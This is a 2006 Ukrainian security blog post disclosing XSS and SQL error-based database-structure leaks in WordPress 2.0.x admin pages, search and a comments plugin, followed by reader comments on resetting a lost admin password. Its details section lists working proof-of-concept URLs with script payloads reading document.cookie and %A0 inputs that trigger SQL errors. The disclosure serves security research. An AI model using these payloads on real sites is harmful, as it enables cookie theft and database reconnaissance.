Численні уразливості в WordPress

23:10 17.10.2006

16.10.2006

До движка WordPress та плагінів під нього в мене особлива і підвищена увага - і я ругялярно провожу аудит безпеки WP (та його плагінів), тому що мій власний сайт базується на даному движку. І можу сказати, що WordPress, в якому нечасто знаходять уразливості (рідко ви про це прочитаєте в новинах секюріті сайтів), і саме за це я і вибрав даний движок, все ж таки має чимало уразливостей.

І чим більше я досліджую його, тим більше уразливостей знаходжу. Особливо уразливими є плагіни (які компроментують движок і сайт у цілому), зокрема плагіни сторонніх розробників, про що в новинах я писав неодноразово, але й в самому движку також є вразливості (і в тому ж плагіні WP-DB Backup, який входить до стандартної поставки движка WP).

До вже згаданих уразливостей в WordPress та його плагінах (Cross-Site Scripting в WP-PHPList, Уразливості в Subscribe To Comments WordPress plugin та Уразливість в Wordpress WP-DB Backup Plugin), я повідомляю про численні уразливості в самому Wordpress (а також в інших плагінах, з числа тих, якими я користуюся, і про що я окремо повідомлю).

Це зокрема Cross-Site Scripting уразливості в адмінці WP, які я зайшов в серпні (3 XSS) і вересні (2 XSS, а також одна SQL DB Structure Extraction). Це лише частина усіх знайдених мною уразливостей в Wordpress (вразливі версії до 2.0.3 включно, і може 2.0.4). Про ті уразливості (й їх чимало), що я знайшов в жовтні, а також про уразливсоті в інших плагінах для WP, я розповім окремо.

Найближчим часом я повідомлю деталі, але спочатку пофіскю ці всі уразливості на своєму сайті (тому за них не переживайте :-) ), а також повідомлю розробникам WordPress і всім тим людям, яким я попередньо вже про ці уразливості розповів, включаючи розробників WP. Зараз залишилося написати їм всім деталі уразливостей (ну і підготую рекомендації по їх виправленню).

17.10.2006

Додам ще про нові уразливості в WordPress (і які мали місце на моєму сайті), про які я також найближчим чамосом повідомлю розробникам цього движка.

Вчора Андрій, який якраз завітав подякувати мені за інформацію про уразливості на його сайті, повідомив мені, що він знайшов дві уразливості в мене на сайті. Що звичайно мене зацікавило :-) . Так от, після отримання детальної інформації від Андрія і перевірки, виявилось що на моєму сайті (в движку WP) є дві уразливості: SQL DB Structure Extraction (а не SQL Injection, як думав Андрій) та XSS - в пошуці по сайту.

Причому він використував дуже хитрий метод ;-) пошуку цих уразливостей. Який я планую додатково дослідити - це використання деяких специфічних символів, котрі при деяких випадках можуть привести до виведення помилки в SQL запиті - і відповідно до уразливостей SQL DB Structure Extraction та XSS.

Як я додатково перевірив різні скрипти, які входять до складу движка WordPress (в адмінці і в плагінах), ця уразливість також має місце окрім пошуку по сайту, ще в ряді скриптів. Додатково уразливість проявляється в 5 скриптах - в суммі 8 уразливостей. Враховуючи дві попередні уразливості в пошуку, загалом маємо 10 уразливостей (SQL DB Structure Extraction та XSS). Про них я повідомлю деталі піздніше, після повідомлення розробникам WP. Ці уразливості я вже виправив на сайті, тому за них не переживайте.

Дані уразливості не торкаються всіх сайтів на движку WordPress. Вони спрацьовують лише при деяких налаштуваннях БД (налаштуваннях кодування), які мають місце на моєму сайті, і можуть бути також на деяких інших сайтах. Тому це лише поодинокий випадок, який тим не менш має свої ризики, що при деяких налаштуваннях MySQL, може відбуватися помилка в запиті до БД, що приводить до уразливостей (XSS + SQL DB Structure Extraction).

Детальна інформація.

Знайдено 24.08.2006.

XSS:

http://site/wp-admin/templates.php?file=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Знайдено 29.08.2006.

XSS:

http://site/wp-admin/inline-uploading.php?action=upload&all=true&start=-%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/wp-admin/inline-uploading.php?action=upload&all=true%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Знайдено 01.09.2006.

XSS:

POST запит на сторінці http://site/wp-admin/link-import.php
<script>alert(document.cookie)<script>В полі: Вкажіть OPML URL.

Знайдено 16.09.2006.

XSS:

http://site/wp-admin/edit.php?m=&paged=2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Знайдено 27.09.2006.

SQL DB Structure Extraction:

http://site/wp-admin/edit.php?paged=-1

Знайдено 17.10.2006.

Дані уразливості працюють лише при специфічній конфігурації кодування на сайті (при специфічних налаштуваннях БД, в даному випадку MySQL). Коли на сайті наявне UTF-8 кодування, в БД встановлене інше кодування (наприклад, Windows-1251) і в коді движка задане примусове встановлення UTF-8 кодування.

SQL DB Structure Extraction:

http://site/?s=%A0
http://site/wp-admin/edit.php?s=%A0
http://site/wp-admin/edit-pages.php?s=%A0
http://site/wp-admin/edit-comments.php?s=%A0

XSS:

http://site/?s=%A0%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/wp-admin/edit.php?s=%A0%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/wp-admin/edit-pages.php?s=%A0%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/wp-admin/edit-comments.php?s=%A0%3Cscript%3Ealert(document.cookie)%3C/script%3E

SQL DB Structure Extraction:

http://site/wp-admin/edit.php?page=subscribe-to-comments.php&email=%A0
http://site/wp-subscription-manager.php?page=subscribe-to-comments.php&email=%A0


4 відповідей на “Численні уразливості в WordPress”

  1. Diz каже:

    Подскажите пожалуйста где на фтп можно посмотреть пароль и логин к блогу на вордпрессе, ато чтото произошло перестал подходить логин и пароль, а ужаляють и по новой ставить жалко……
    Заранее благодарен!

  2. Diz каже:

    Все,сорри, уже нашел способ, через Мускул

  3. MustLive каже:

    Diz

    Через FTP такої можливості немає, тому що WP тримає логін та пароль (адміна) в БД. І в твоєму випадку можливі декілька варіантів.

    1) Поставити движок поверх. Це кардинальний варіант.

    2) Використати спеціальні програми (скрипти), або самому написати, які онулують пароль адміна і дозволяють тобі в базу занести новий сгенерований пароль.

    Причому потрібно розуміти, що в БД пароль заноситься у вигляді хеша, тому піддивитися його не має можливості і якщо ти забув пароль, то потрібо будет згенерувати новий.

    3) Використати інструментарій для роботи з MySQL, або phpMyAdmin, або мій MySQL Perl/CGI Client, або інший софт. Щоб можна було в БД підправити (треба пам`ятати, як я вже сказав, що пароль у вигляді хеша, і в БД треба занести хеш для нового пароля).

    4) Один з найпростіших варіантів, це скористатися функцією нагадування паролю (яка висилає на емайл новий сгенерований пароль). Потрібно зайти в Вхід->Забули пароль і ввести свій нік та емайл (головне щоб емайл був робочий).

  4. Diz каже:

    нагадування паролю чомусь не спрацювавало, але скориставшись редагуванням у базi мусол, пiдставив сгенерованний пароль, все спрацювало…
    Вдячнiсть за повний опис!!!

Leave a Reply

You must be logged in to post a comment.